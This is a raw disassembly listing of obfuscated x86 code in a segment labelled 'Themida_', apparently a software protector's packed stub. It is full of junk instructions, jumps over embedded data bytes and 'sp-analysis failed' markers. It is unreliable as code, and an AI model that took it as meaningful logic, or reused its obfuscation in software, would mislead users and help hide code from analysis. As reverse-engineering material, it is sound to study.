loc_602C1E+3 xchg eax, esi scasb xchg eax, ebp mov [edx-48h], eax pop ebp out dx, al loc_602C1E: ; CODE XREF: sub_602BB0+61p test eax, 0BE6611F9h sub_602BB0 endp ; sp-analysis failed inc ebp cwde pop ecx jns loc_602C2E mov edx, eax loc_602C2E: ; CODE XREF: Themida_:00602C26j mov ax, 8823h mov edi, 47ACB91Bh jle loc_602C45 push ecx adc esi, 1450ED0Ch pop ebx loc_602C45: ; CODE XREF: Themida_:00602C37j jmp loc_602C5D ; --------------------------------------------------------------------------- dw 29BDh dd 0DD0CCD9Dh, 0EAB3E6Bh, 68503F56h, 5DD4675Ah db 0D2h ; --------------------------------------------------------------------------- loc_602C5D: ; CODE XREF: Themida_:loc_602C45j mov ah, 40h pusha jno loc_602C69 mov ax, cx loc_602C69: ; CODE XREF: Themida_:00602C60j jmp loc_602C82 ; --------------------------------------------------------------------------- dw 4C8Bh dd 3F942A4Ah, 0EF70D08Eh, 458E1A76h, 0C5B652Ah ; --------------------------------------------------------------------------- xchg eax, ebx dec edi loc_602C82: ; CODE XREF: Themida_:loc_602C69j popa or edx, 5B909A1Ah pusha jno loc_602C93 mov cx, si loc_602C93: ; CODE XREF: Themida_:00602C8Aj movzx ebx, cx popa adc edx, 5BA7677Bh jnb loc_602CAB push ecx jnp $+6 pop eax loc_602CAB: ; CODE XREF: Themida_:00602C9Dj pusha mov ecx, 10CA8A67h jmp loc_602CC5 ; --------------------------------------------------------------------------- dw 9C29h dd 77E13E01h, 7DD2949Fh, 3202B0FCh ; --------------------------------------------------------------------------- dec ecx loc_602CC5: ; CODE XREF: Themida_:00602CB1j popa cld jbe loc_602CD2 mov ecx, 3A921667h loc_602CD2: ; CODE XREF: Themida_:00602CC7j or ecx, 1520F2DEh jmp loc_602CE9 ; --------------------------------------------------------------------------- db 66h, 58h, 5Ah dd 0B8B9E937h, 257BF01Ah db 79h ; --------------------------------------------------------------------------- loc_602CE9: ; CODE XREF: Themida_:00602CD8j jmp loc_602CFA ; --------------------------------------------------------------------------- dw 0B651h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 4Fh, 0C1h, 21h dd 22632EDDh db 26h, 76h ; --------------------------------------------------------------------------- loc_602CFA: ; CODE XREF: Themida_:loc_602CE9j mov ah, 0D1h mov ebx, 78BCD2A6h pusha jnb loc_602D0E jge $+6 loc_602D0E: ; CODE XREF: Themida_:00602D02j pusha xor eax, 2F635311h pusha popa popa popa mov bx, 0B87Ch mov ah, 69h stc movzx esi, cx movsx ecx, dx sbb bx, 0A364h clc xor bx, 0E94Bh mov edx, 94EA8AAh clc mov ah, 86h jmp loc_602D4F ; --------------------------------------------------------------------------- dw 0D84Eh dd 7E9FC165h, 30A294EFh, 0E091CE86h ; --------------------------------------------------------------------------- xchg eax, ebx retn ; --------------------------------------------------------------------------- db 1Ah ; --------------------------------------------------------------------------- loc_602D4F: ; CODE XREF: Themida_:00602D39j jmp loc_602D59 ; --------------------------------------------------------------------------- dd 0B65A61CDh db 0C6h ; --------------------------------------------------------------------------- loc_602D59: ; CODE XREF: Themida_:loc_602D4Fj push ebx cld pop ebx push edi pop ebx mov ecx, 2B93F158h call sub_602D72 cmp al, 36h icebp adc eax, 9673E031h xor [ebx], esp ; =============== S U B R O U T I N E ======================================= sub_602D72 proc near ; CODE XREF: Themida_:00602D63p ja loc_602D7E add eax, 5F8D0E95h loc_602D7E: ; CODE XREF: sub_602D72j pop edx push ecx movsx edi, ax pop edx mov bl, dl push edi pusha stc jle $+6 popa pop ebx jbe loc_602D9A mov ax, cx loc_602D9A: ; CODE XREF: sub_602D72+1Fj jge loc_602DA8 jbe loc_602DA8 push edx pop esi loc_602DA8: ; CODE XREF: sub_602D72:loc_602D9Aj ; sub_602D72+2Ej jo loc_602DB1 mov bx, dx loc_602DB1: ; CODE XREF: sub_602D72:loc_602DA8j mov ebx, 7914A347h add edi, 304CE591h mov di, ax mov ecx, edx jmp loc_602DCD ; --------------------------------------------------------------------------- jmp edx ; --------------------------------------------------------------------------- dd 191C3AE0h db 77h ; --------------------------------------------------------------------------- loc_602DCD: ; CODE XREF: sub_602D72+4Fj mov ax, 6D6Ah mov di, si jmp loc_602DE9 ; --------------------------------------------------------------------------- db 37h, 2 dup(50h) dd 0C4689A53h, 2AB86936h, 0E652F57Ah db 33h ; --------------------------------------------------------------------------- loc_602DE9: ; CODE XREF: sub_602D72+62j mov edx, 5A66EC2h push eax call near ptr sub_602E08 shr byte ptr [ebx+63h], 1 dec ecx jg short loc_602DFC mov bh, 0EEh loc_602DFC: ; CODE XREF: sub_602D72+86j add edi, [ecx-763777BEh] pop edi push ecx push ds push es out dx, al pop esp sub_602D72 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_602E08 proc far ; CODE XREF: sub_602D72+7Dp mov bx, dx pop ebx pop esi pusha cmc mov edi, 169C6927h popa push ebx pusha mov ecx, 6D310A03h jmp loc_602E33 ; --------------------------------------------------------------------------- db 37h, 82h, 0Dh dd 4F03D01h, 0D76BD4B5h, 0B41C6792h db 0Dh, 0F3h, 0E3h ; --------------------------------------------------------------------------- loc_602E33: ; CODE XREF: sub_602E08+14j popa pop ecx add bx, 4286h movzx esi, bx adc ecx, 11C03CB2h mov esi, 0CED2C37h mov cx, 5FB0h mov esi, 67551A83h xor al, 0E9h pusha jmp loc_602E67 ; --------------------------------------------------------------------------- dw 9E1h dd 0FBA081C4h, 0FC21FE3Bh db 0F4h, 0C4h, 82h ; --------------------------------------------------------------------------- loc_602E67: ; CODE XREF: sub_602E08+4Dj mov ecx, 0A4B7E77h popa movsx ecx, bx add cx, 0D3ADh jmp loc_602E8E ; --------------------------------------------------------------------------- dw 0AFF9h dd 5F096A80h, 0C59948D1h, 2B5778ADh, 42A032C3h ; --------------------------------------------------------------------------- sub esp, edx loc_602E8E: ; CODE XREF: sub_602E08+6Dj sub si, 0FE01h mov cx, dx jmp loc_602EAF ; --------------------------------------------------------------------------- or dl, 0D4h div byte ptr [edi-65CD727Eh] mov cl, 0A8h sbb al, 27h adc ebp, ebp db 64h aas pop esi retn ; --------------------------------------------------------------------------- db 77h ; --------------------------------------------------------------------------- loc_602EAF: ; CODE XREF: sub_602E08+8Ej push edi pop edx pusha pusha movsx ecx, cx jmp loc_602ECF ; --------------------------------------------------------------------------- db 0AAh dd 0F6DCEF76h, 2597738Fh, 605B395Dh, 0F677F22Ah db 80h, 0ABh, 0D8h ; --------------------------------------------------------------------------- loc_602ECF: ; CODE XREF: sub_602E08+AEj popa mov si, di popa jmp loc_602EED ; --------------------------------------------------------------------------- db 5, 69h, 0ADh dd 0E27443D4h, 0DD86677h, 7996EB4Fh, 9BF7A6C7h db 0DFh ; --------------------------------------------------------------------------- loc_602EED: ; CODE XREF: sub_602E08+CCj jmp loc_602EFE ; --------------------------------------------------------------------------- mov eax, 0C6F6C5E8h dec esp aaa mov ebx, 0BB0A472Bh loc_602EFE: ; CODE XREF: sub_602E08:loc_602EEDj mov ebx, edi movzx edx, dx jo loc_602F0E mov ecx, 384F7D2Ah loc_602F0E: ; CODE XREF: sub_602E08+FBj jmp loc_602F22 ; --------------------------------------------------------------------------- db 0B9h dd 194D1B1Bh, 46DE1A66h, 506D9C35h db 16h, 0F2h ; --------------------------------------------------------------------------- loc_602F22: ; CODE XREF: sub_602E08:loc_602F0Ej jns $+6 jmp loc_602F3E ; --------------------------------------------------------------------------- db 0E8h, 69h, 0CAh dd 345E36F3h, 2ADE16E4h, 7AD72360h db 10h, 72h ; --------------------------------------------------------------------------- loc_602F3E: ; CODE XREF: sub_602E08+120j jmp loc_602F4E ; --------------------------------------------------------------------------- db 0E2h ; --------------------------------------------------------------------------- popa mov eax, ds:0F81D8DCFh cdq push ebp xor dh, [edx] loc_602F4E: ; CODE XREF: sub_602E08:loc_602F3Ej jmp loc_602F65 ; --------------------------------------------------------------------------- db 0EFh dd 0B4B3B77Dh, 76CB6A0Ah, 0B0E9CCEEh, 0DE030509h db 0CDh ; --------------------------------------------------------------------------- loc_602F65: ; CODE XREF: sub_602E08:loc_602F4Ej pusha mov dx, 673Bh pusha mov bx, dx popa popa jnp loc_602F92 js loc_602F92 jmp loc_602F92 ; --------------------------------------------------------------------------- db 0C8h, 1Dh, 45h dd 48066027h, 0EC7BC9B4h, 375C3058h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0EDh ; --------------------------------------------------------------------------- loc_602F92: ; CODE XREF: sub_602E08+168j ; sub_602E08+16Ej ... mov ax, 4C9Bh jmp loc_602FA7 ; --------------------------------------------------------------------------- db 76h dd 2AA04AA2h, 1D58EFB2h db 0D5h, 0AFh, 0ECh ; --------------------------------------------------------------------------- loc_602FA7: ; CODE XREF: sub_602E08+18Ej jmp loc_602FB8 ; --------------------------------------------------------------------------- xlat push cs retf 0D7F2h ; --------------------------------------------------------------------------- db 13h, 5Ah, 10h dd 0F3795A92h ; --------------------------------------------------------------------------- loc_602FB8: ; CODE XREF: sub_602E08:loc_602FA7j mov ecx, edi jmp loc_602FCA ; --------------------------------------------------------------------------- db 62h dd 419C6932h, 8E52ADA7h db 0Dh, 0B5h ; --------------------------------------------------------------------------- loc_602FCA: ; CODE XREF: sub_602E08+1B2j call near ptr loc_602FD6+3 aam 6Bh xlat xchg eax, edx db 67h sbb al, 0B4h loc_602FD6: ; CODE XREF: sub_602E08:loc_602FCAp or eax, 0BF0FE3F3h sub_602E08 endp ; sp-analysis failed leave pop ecx add esi, 3C47D494h jmp loc_602FF8 ; --------------------------------------------------------------------------- dd 0D5B40441h, 8F7FECF0h, 0A2D4162h, 0AC1F96E9h ; --------------------------------------------------------------------------- loc_602FF8: ; CODE XREF: Themida_:00602FE3j pusha sub ebx, 0ABA6D8Ah pusha push ecx pop ebx popa popa movsx ebx, bx mov esi, ecx or di, 99F8h push esi pop ebx call near ptr loc_60301C+3 aad 17h xchg eax, esi lea edi, [esi-33h] outsd loc_60301C: ; CODE XREF: Themida_:00603010p mov esp, 870F01A3h ; --------------------------------------------------------------------------- db 3 dup(0) dd 0EA815B00h, 1F031324h, 3840FF9h, 0F000000h, 6E8CFB7h dd 0FA000000h, 7AF34E59h, 2F68BE04h, 605F1E65h, 5E9h, 0F4E52200h dd 0E880818Fh, 8B666164h, 0B5EF8AD9h, 7E9A0h, 0C3F00000h dd 0F255D9A1h, 0E6816608h, 11E89D31h, 41000000h, 0AF115987h dd 64BB52E8h, 4693B53Dh, 69E50950h, 0B70F5EF8h, 5890FD7h dd 0B9000000h, 471488ADh, 0E68166F5h, 0CE94385h, 9F000000h dd 759DE164h, 0B05410Ah, 0B685156Dh, 0F18B6630h, 0D78B66F9h dd 0FD3B70Fh, 168Eh, 11E900h, 435C0000h, 0E32B37BCh, 2949D5BFh dd 670B07A1h, 66FDA1FFh, 8D19EF81h, 0B9D98B66h, 16B715D2h dd 12E8h, 29759200h, 9C036305h, 1739A1A3h, 132A834Ah, 0F5EAF73Fh dd 8810F58h, 0F000000h, 285h, 66CA8B00h, 4E96EA81h, 0B8A835B9h dd 0F08B667Bh, 8AD78B66h, 6657F5C5h, 5A6748B8h, 14E9h dd 407E5600h, 0EEACA2F8h, 8C46B76Ah, 7F7BB25Eh, 7ECE7D44h dd 0FAF4BA88h, 68B2401Fh, 0CE9h, 0CAC64C00h, 0BBBE3Ah dd 5CFEDCB7h, 0E9C38B45h, 6, 0E0B5F879h, 0CA810897h, 2F15283Ah dd 3FC2B966h, 0F5FE8B66h, 0B426B1F9h, 0E42CBA10h, 0E9600963h dd 0Ch, 51B19506h, 37165F58h, 1BFBC055h, 61A0D980h, 0AE8h dd 0CE65EF00h, 0EA90F9F6h, 5BC9C848h, 0F7816660h, 8B66852Bh dd 816661F2h, 0F8EA4C3h, 68Bh, 0B9C38100h, 0E902710Dh dd 0Fh, 0F0367D3Ch, 0F87C1E87h, 0CD5C865Eh, 0BF0DBA75h dd 72070589h, 12E9h, 0E8E70700h, 5105E75Ah, 3D30DF44h dd 65D6C7E9h, 0F220E7Fh, 0E8Eh, 9E900h, 0E5D70000h, 19B88E57h dd 605671DBh, 8B66D38Bh, 0EAB861D8h, 666E40D5h, 8166F98Bh dd 0BE0355E3h, 5B328F58h, 830F5E51h, 2, 890FC28Bh, 3, 0E9C7BF0Fh dd 0Eh, 15F8D9BAh, 7D75CEE2h, 6CD1BBF5h, 8157FA9Ch, 0D8334D3h dd 23BA5F6Dh, 0F075249h, 589h, 0E9816600h, 0ED801CE2h dd 3148B841h, 0BE6638E6h, 8B66E168h, 0F393BACEh, 0CE93D92h dd 0A3000000h, 0F103E622h, 0C593E2B8h, 664461CFh, 0DE9CF8Bh dd 58000000h, 5B4A5F5Ch, 1C926A5Bh, 8A6A03F1h, 58FC5156h dd 14E959h, 78280000h, 9019AF08h, 0FB08C4CAh, 3BCBE583h dd 9BAB312Eh, 0AE93963h, 2F000000h, 0BB2E650Fh, 0A4E1CD10h dd 8166608Ah, 53822DF7h, 8166615Ah, 0FFA3FD6h, 688h, 52E78100h dd 6639BE6Bh, 0B70FDA8Bh, 0C890FD7h, 0E9000000h, 7, 4573A593h dd 56DAEC3Dh, 0F616060h, 5861C0B7h, 0C8816051h, 602E7B89h dd 0F5F61F5h, 1586h, 10E900h, 0AC3C0000h, 0DE7328C0h, 0A57FA2FDh dd 92E231A7h, 8A606644h, 8BED80F8h, 3800F61h, 0F000000h dd 0D681F8BFh, 311B0229h, 0DF68166h, 0C18135h, 66587002h dd 80525DB9h, 820FBAD3h, 3, 66D78B66h, 0BACCDA81h, 5820FF9h dd 51000000h, 5FDAB70Fh, 8840Fh, 66600000h, 500539BBh dd 13B7615Fh, 6870Fh, 0D0810000h, 55948BB2h, 2E67C081h dd 8B0F47A6h, 0Ah, 5E9h, 0BBE64A00h, 0CB80F6A8h, 3830FE5h dd 0F000000h, 63B6C9BFh, 0B9D38B66h, 8F672D5h, 26840Fh dd 0E9600000h, 0Dh, 0FBE44775h, 53B45A6Fh, 2417C33Eh, 0CE881h dd 9EC80000h, 5899C50Dh, 44556317h, 61589113h, 0F989BB66h dd 92078EBEh, 0F3B70F16h, 8E9h, 35AB9B00h, 1CD7A5EFh, 0D0BF0F44h dd 9E9h, 0A2955100h, 0C3C64727h, 0BF0FEB5Fh, 5B5BBF2h dd 5B510997h, 0C480D08Bh, 880F4Ah, 0B4000000h, 0EE966h dd 0B0D70000h, 2F54B357h, 0EF81AD44h, 4B9ACCF1h, 8C4BB8F5h dd 810F11CCh, 15h, 0EE8h, 2F36C200h, 8FBF3DD6h, 946C69A2h dd 0F547FE69h, 890F6058h, 2, 10E96160h, 2000000h, 0DAF1B56Bh dd 0FCD986D5h, 0D57EE54Ch, 61B87382h, 11E9h, 0D71C7800h dd 0F370040Dh, 62C9EDF4h, 0E0C1AC2Bh, 51605723h, 0E3D28166h dd 0CE9586Ah, 0D000000h, 0CB020B44h, 7FBFCCEh, 61495DF5h dd 0E8CFBF0Fh, 9, 61DDF248h, 767AB50Ah, 525AF83Fh, 5FF88B66h dd 0D2DA8166h, 0FC5E5622h, 81C18B66h, 0E8EDB7C6h, 0E9CB8B6Ch dd 9, 0B189C24Ah, 61F9D97Dh, 0E95A57CEh, 0Ah, 312D3E95h dd 5882568h, 870F1D9Ch, 0 dd 8163B2FCh, 789AD2DEh, 800F1Fh, 8B000000h, 0F08060D6h dd 0CF815240h, 48F72E9Bh, 8E8615Ah, 8E000000h, 0EB05E13Ch dd 66131E94h, 0F5EF98Bh, 5E8F7B7h, 0B4000000h, 0EDA0C361h dd 5E9h, 403CDF00h, 515818D6h, 10E958h, 33730000h, 491ECA42h dd 0CEA5746Ch, 5B010336h, 9E9BF68h, 0FD000000h, 0A83BBDB0h dd 6D31D76h, 7E9h, 83F07200h, 0A0C9EB48h, 0A5DFDB81h, 0D38B7B87h dd 2D38166h, 0FC38B87h, 589h, 9BC5BB00h, 8E0F474Dh, 0Ah dd 0F5A5160h, 8Ah, 22B96100h, 817F654Fh, 61901AD2h, 0F8CE800Eh dd 0E9F1EB80h, 8, 271DE2AAh, 1354B788h, 0BE9h, 3FECB000h dd 83962596h, 592AC196h, 0FFABF0Fh, 686h, 0ADC68100h, 602AC8A3h dd 3840Fh, 0BF0F0000h, 0CEBF0FF0h, 14E861h, 0D580000h dd 0F42299CFh, 0A6FF3692h, 96EE603Fh, 6A61BD46h, 8E0FAD50h dd 3, 59CE8B66h, 830F6057h, 0 dd 5A615957h, 0CE8166FCh, 0BF0FA6ECh, 9CE380C8h, 0E142B966h dd 0E8F0B70Fh, 7, 527A099Fh, 5BC52A25h, 13E9h, 6D7C4900h dd 0D7001B30h, 0C1F64651h, 563C150Ah, 0BE70992Dh, 66D18B60h dd 615460BFh, 2810F57h, 0B2000000h, 0F605E53h, 38Ah, 0D0BF0F00h dd 9E95261h, 0CA000000h, 7D0E20B0h, 0CEA393C0h, 0EE95Bh dd 8B970000h, 78223524h, 339F2CA2h, 58F394CEh, 810FEE8Ah dd 0Ch, 2EB86660h, 870F59h, 61000000h, 13E9h, 0CF00E300h dd 19EC2AF2h, 4B96D67h, 0FE8B616Ch, 15BA2DF1h, 0B039B0B9h dd 8062B14Eh, 0BF668ACEh, 0CE816585h, 4CBD4117h, 8F0F48B1h dd 3, 0E9CFBF0Fh, 0Ch, 9DC88C98h, 27BF6516h, 79947C5Ah dd 49C06FB8h, 4DBE6656h, 0D78B66DAh, 16830Fh, 11E90000h dd 0D5000000h, 606CD588h, 12825A15h, 26B67AF5h, 0D65F1802h dd 4CC78166h, 3880F30h, 80000000h, 0DE817FE7h, 40111877h dd 5E9h, 6B595100h, 0F60909Ah, 148Eh, 0FE900h, 31D80000h dd 8E6DFA2Dh, 41E22696h, 6917CADh, 9E92Fh, 7BD80000h, 24AC600Dh dd 61A60044h, 0AE8h, 31ABB700h, 547760BEh, 565DDE53h, 870Fh dd 5B5E0000h, 14E8D88Bh, 0C2000000h, 0F6110EACh, 28B887AAh dd 0C010981Bh, 250CB52Ch, 0BA34A1E4h, 51A71767h, 12E858h dd 0D1210000h, 0DFAF9E9Ah, 0C57325F5h, 0BEFB35EFh, 3C43DC0Ah dd 6D20C981h, 0E858205Bh, 11h, 284FB496h, 0E203A9C8h, 5C8DDC7Ch dd 344EC062h, 7AC2BF94h, 0F5E0763h, 0E8Ch, 9E900h, 0EC240000h dd 207E3653h, 0E8FEA60Ch, 13h, 43BA0BFCh, 98C63A42h, 0A1A8FCD5h dd 5D579A50h, 0F351B63h, 182h, 0E858FC00h, 14h, 0D6E94A85h dd 5AC12607h, 0CA240A96h, 7E1F9820h, 0C0FBA76Fh, 0F5EF38Bh dd 88h, 4CEA8000h, 8B25E980h, 0C18153DAh, 29AB6DBEh, 0D0BF0F5Fh dd 8BDF8B66h, 12E9C8h, 415E0000h, 0F02E711h, 0CBC0A9Eh dd 0F8A5F602h, 3D07F3D1h, 6E9h, 24728E00h, 81BD19B2h, 5A0416E1h dd 81605314h, 0DBF908F1h, 93E1814Fh, 61617D95h, 38B0F5Ah dd 80000000h, 12E935F5h, 0F3000000h, 0C7956493h, 4DEBDC32h dd 0A93F2569h, 0F7CD76D8h, 0E9CE8B68h, 0Fh, 0F35F1B3Dh dd 0FF0FE9B5h, 5D0A1959h, 0BA426778h, 4844DA0Ah, 830FF8h dd 0B1000000h, 118C0F6Eh, 0E9000000h, 0Ch, 0DF31FA99h dd 3969E907h, 2F0BCF0Fh, 0B34AE881h, 11E80694h, 88000000h dd 169C6882h, 2E844966h, 0D4059A4h, 13607AC7h, 5B5E5050h dd 0D981605Eh, 18CADA86h, 0D1C98BAh, 8B576170h, 0DE95BD9h dd 9000000h, 0C0930F4Dh, 0BE2F6E49h, 0EBCF6F56h, 68F0F50h dd 0F000000h, 87h, 8B605A00h, 0BB6660DAh, 61614D5Fh, 14E9h dd 288E4700h, 67B21201h, 0A66D42FCh, 80C5BAFDh, 0E9CC0A0h dd 0C28B6681h, 6CC98160h, 0E97A8AB2h, 7, 818FF4E5h, 61B14879h dd 0AE9h, 899A9A00h, 35850079h, 0FB4A899h, 1380h, 0AE800h dd 85B00000h, 96682C65h, 0F5C3A448h, 581CC480h, 0FE216CB9h dd 8D55BF1Ah, 8B6604B3h, 0FF78BF3h, 0CC8AD8B7h, 45BB5F50h dd 0E928B009h, 14h, 0FF502C0Dh, 0D1D69BD0h, 0A053B661h dd 50CE17DDh, 0F8C0DCC1h, 0DE9h, 894AA500h, 610A9549h dd 82F25739h, 816674BAh, 8B738FEAh, 0A1BF66DFh, 0B70F609Bh dd 0DFBF0FD3h, 68BA6661h, 0C28B6644h, 1AB7CABEh, 0EB90B84Ah dd 0FCF81A40h, 0DEB70F60h, 0D6816651h, 6158F393h, 0FF7EF80h dd 68Bh, 0F08A6000h, 6661F28Bh, 0AD00F281h, 12CA8166h dd 4880F86h, 66000000h, 0BA6793BFh, 53C55D65h, 0B70FF8B4h dd 0DE8FEh, 41330000h, 3684110Ch, 34D50029h, 0E952ECF5h dd 13h, 5FCFA322h, 0F15F6907h, 0A23ED0DCh, 0D844BC02h dd 5E87A78Bh, 0E86FD280h, 9, 1668AC24h, 0E120497Ah, 0DE96041h dd 0AC000000h, 0B2103A9Ch, 0EC35166Dh, 8A3AFE92h, 0BE9h dd 5F51CE00h, 5CC9EF29h, 94A8F99Eh, 870F5E61h, 4, 0B6F8BF66h dd 60D68B66h, 20A6E881h, 11E9302Dh, 0AD000000h, 2E737809h dd 2FCFF399h, 3008C349h, 88B654ACh, 0C7B96661h, 0DF8B66E0h dd 4810Fh, 0BE660000h, 0B96681B8h, 0FE9CFEEh, 0DF000000h dd 1BCB8596h, 9BADA61Dh, 7BA9D0DDh, 8B667D8Ch, 5850FF0h dd 66000000h, 6EEBF681h, 0F1BF0F50h, 58B0F5Fh, 66000000h dd 32B9DB81h, 0CE8h, 0F8EEAA00h, 70374B50h, 0DAC72D6Ch dd 800F60CBh, 0 ; --------------------------------------------------------------------------- jmp loc_603B08 ; --------------------------------------------------------------------------- db 6Ah, 0B3h, 79h dd 0D17227Ah ; --------------------------------------------------------------------------- loc_603B08: ; CODE XREF: Themida_:00603AFCj popa pop eax jns loc_603B12 mov esi, ecx loc_603B12: ; CODE XREF: Themida_:00603B0Aj jno loc_603B1A mov bl, 16h loc_603B1A: ; CODE XREF: Themida_:loc_603B12j jmp loc_603B27 ; --------------------------------------------------------------------------- db 0F4h dd 4C44F0FDh db 0ADh, 99h, 0F0h ; --------------------------------------------------------------------------- loc_603B27: ; CODE XREF: Themida_:loc_603B1Aj jmp loc_603B38 ; --------------------------------------------------------------------------- dd 231C84C7h, 59446B73h, 32E29120h ; --------------------------------------------------------------------------- loc_603B38: ; CODE XREF: Themida_:loc_603B27j jmp loc_603B4A ; --------------------------------------------------------------------------- db 0FDh, 0DCh, 3Ch dd 0FC1B7C2Fh, 338CB136h ; --------------------------------------------------------------------------- movsd push ebx loc_603B4A: ; CODE XREF: Themida_:loc_603B38j mov dx, 8A64h jmp loc_603B5D ; --------------------------------------------------------------------------- db 18h ; --------------------------------------------------------------------------- push 0E0373B52h cmp [eax], eax inc ebp lodsb loc_603B5D: ; CODE XREF: Themida_:00603B4Ej mov dh, 41h and edi, 77281BAEh mov ch, 4Eh jmp loc_603B7C ; --------------------------------------------------------------------------- dd 0D240581Ch, 0BFC48F71h, 0E540C18Ch, 11A14BEAh ; --------------------------------------------------------------------------- loc_603B7C: ; CODE XREF: Themida_:00603B67j jmp loc_603B88 ; --------------------------------------------------------------------------- align 2 dw 61CDh dd 0CC6B65Ah ; --------------------------------------------------------------------------- loc_603B88: ; CODE XREF: Themida_:loc_603B7Cj pusha mov esi, 44F32126h popa jnb loc_603B96 stc loc_603B96: ; CODE XREF: Themida_:00603B8Fj add bh, 0E4h cld add ebx, 3731B303h sub di, 0F509h mov si, 0BC47h jge loc_603BB2 adc bl, 1Fh loc_603BB2: ; CODE XREF: Themida_:00603BA9j push edx jnb $+6 pop ecx movsx esi, bx pusha cld popa movsx eax, dx or di, 7CACh jle loc_603BD3 adc di, 104h loc_603BD3: ; CODE XREF: Themida_:00603BC8j mov ebx, edi mov bx, 0DCD6h pusha jmp loc_603BF2 ; --------------------------------------------------------------------------- db 70h dd 3135ADh, 9227070Dh, 0B7266557h, 20C1EC32h db 0E9h, 8Ch ; --------------------------------------------------------------------------- loc_603BF2: ; CODE XREF: Themida_:00603BDAj popa jno loc_603BFE pusha movsx eax, bx popa loc_603BFE: ; CODE XREF: Themida_:00603BF3j sbb ecx, 4AAFFh stc cld and si, 7DEEh movzx edx, ax jnp loc_603C19 sub di, 0AA69h loc_603C19: ; CODE XREF: Themida_:00603C0Ej cmc mov ebx, 2484A4DEh mov ch, 0EEh jmp loc_603C2F ; --------------------------------------------------------------------------- dw 0CE3Fh ; --------------------------------------------------------------------------- test al, 93h retf ; --------------------------------------------------------------------------- db 0F9h db 0D3h, 0A2h, 0C5h ; --------------------------------------------------------------------------- loc_603C2F: ; CODE XREF: Themida_:00603C21j sbb ebx, 37361E87h jl loc_603C3D mov ch, dl loc_603C3D: ; CODE XREF: Themida_:00603C35j ja loc_603C44 cld loc_603C44: ; CODE XREF: Themida_:loc_603C3Dj mov cl, 6Bh call sub_603C5C cmp eax, 94ED015Dh sub bh, dl sub edi, edx xor [ebp-6048F68Eh], ah aam 35h ; =============== S U B R O U T I N E ======================================= sub_603C5C proc near ; CODE XREF: Themida_:00603C46p mov ebx, 5DF36BD3h pop edx adc ebx, 63E976Ah movsx edi, dx mov ecx, 6980D6E9h movsx esi, dx mov ecx, 496C66DDh mov si, ax mov eax, 228C20FBh sbb bx, 0A685h jmp loc_603C9A ; --------------------------------------------------------------------------- dw 9545h dd 22DCDBFEh, 54A250D9h, 5609131Ch db 90h db 0C1h ; --------------------------------------------------------------------------- loc_603C9A: ; CODE XREF: sub_603C5C+29j call loc_603CAF int 8Ah ; used by BASIC while in interpreter fsub dword ptr [ecx] push ss shl dword ptr [ecx], 1 dec ebp aaa xor ch, [edi+esi*8+11h] fstp st(6) cmpsd sub_603C5C endp ; sp-analysis failed loc_603CAF: ; CODE XREF: sub_603C5C:loc_603C9Ap and edi, 3B111F26h pop ebx add esi, 3BA23ECBh mov ch, 0DEh mov si, 9FEAh jmp loc_603CCD ; --------------------------------------------------------------------------- db 9 dd 499ADA14h db 0 ; --------------------------------------------------------------------------- loc_603CCD: ; CODE XREF: Themida_:00603CC2j pusha jmp loc_603CE5 ; --------------------------------------------------------------------------- db 3 dd 0FD46D676h, 0ED62431Ah, 0C39C23B7h, 0AD23D6ADh db 36h ; --------------------------------------------------------------------------- loc_603CE5: ; CODE XREF: Themida_:00603CCEj and dx, 0E38Bh popa cmc stc mov cx, 471Ah pusha jmp loc_603D03 ; --------------------------------------------------------------------------- db 78h dd 0DFD10C81h, 0A5594367h db 11h, 0C3h, 10h ; --------------------------------------------------------------------------- loc_603D03: ; CODE XREF: Themida_:00603CF2j call sub_603D14 adc ebx, edx dec edi jle short near ptr loc_603D2A+2 ; --------------------------------------------------------------------------- db 0C4h, 0CFh, 0F6h ; --------------------------------------------------------------------------- enter 49D7h, 1Bh ; =============== S U B R O U T I N E ======================================= sub_603D14 proc near ; CODE XREF: Themida_:loc_603D03p mov dl, al pop edx popa sbb di, 8E70h mov di, 0AF73h cmc sub cx, 9FB1h movzx ecx, bx loc_603D2A: ; CODE XREF: sub_603D3D+1Ej ; Themida_:00603D0Bj mov dx, 70DEh sbb dx, 0CF65h call sub_603D3D mov dl, 5Dh push eax out 81h, al ; DMA page register 74LS612: sub_603D14 endp ; sp-analysis failed ; Channel 2 (diskette DMA) (address bits 16-23) ; =============== S U B R O U T I N E ======================================= sub_603D3D proc near ; CODE XREF: sub_603D14+1Fp mov di, dx pop edi mov eax, 773FCAB3h pusha add ebx, 5A852E92h popa jmp loc_603D5D ; --------------------------------------------------------------------------- mov edx, 0F3213FEDh push edi cmp al, 98h jnp short loc_603D2A loc_603D5D: ; CODE XREF: sub_603D3D+11j ja loc_603D66 movzx edx, dx loc_603D66: ; CODE XREF: sub_603D3D:loc_603D5Dj clc xor di, 0DF17h adc edi, 4D561B8Fh and cx, 0B0Dh call loc_603D8B faddp st(6), st in al, 48h mov dl, 0B5h mov dl, 0 les ecx, [esi] sbb [ecx], esp test [edx+edx*2], ebx sub_603D3D endp ; sp-analysis failed loc_603D8B: ; CODE XREF: sub_603D3D+3Ap mov eax, esi pop esi xor eax, 59FBD0F9h pusha jbe loc_603D9C cld loc_603D9C: ; CODE XREF: Themida_:00603D95j popa call sub_603DB1 ; --------------------------------------------------------------------------- dw 0FE26h dd 55542166h, 0A7ACF1CFh, 0EF4114AEh db 31h ; =============== S U B R O U T I N E ======================================= sub_603DB1 proc near ; CODE XREF: Themida_:00603D9Dp pop eax call sub_603DC7 sbb dh, [ecx-7A3335D8h] sbb [esi+18160696h], ebp adc esp, ebp wait xchg eax, ebp sub_603DB1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_603DC7 proc near ; CODE XREF: sub_603DB1+1p ; FUNCTION CHUNK AT 00603E4B SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00603E78 SIZE 0000001F BYTES sbb al, 0DDh pop esi pusha mov eax, 8F0B2CBh stc popa mov cx, ax mov esi, ecx call near ptr loc_603DE3+1 mov ecx, eax fistp dword ptr [ecx] xor al, 0D9h loc_603DE3: ; CODE XREF: sub_603DC7+11p loop loc_603E4B sub_603DC7 endp ; sp-analysis failed sub esi, 815E47B0h enter 4FDEh, 0F9h add [esi-7Fh], ah jmp far ptr 0E9D6h:0BF0F2BBDh ; --------------------------------------------------------------------------- db 0Fh, 2 dup(0) dd 0AF147C00h, 0A8DEA475h, 0EA17D9C3h, 50579785h, 12E9h 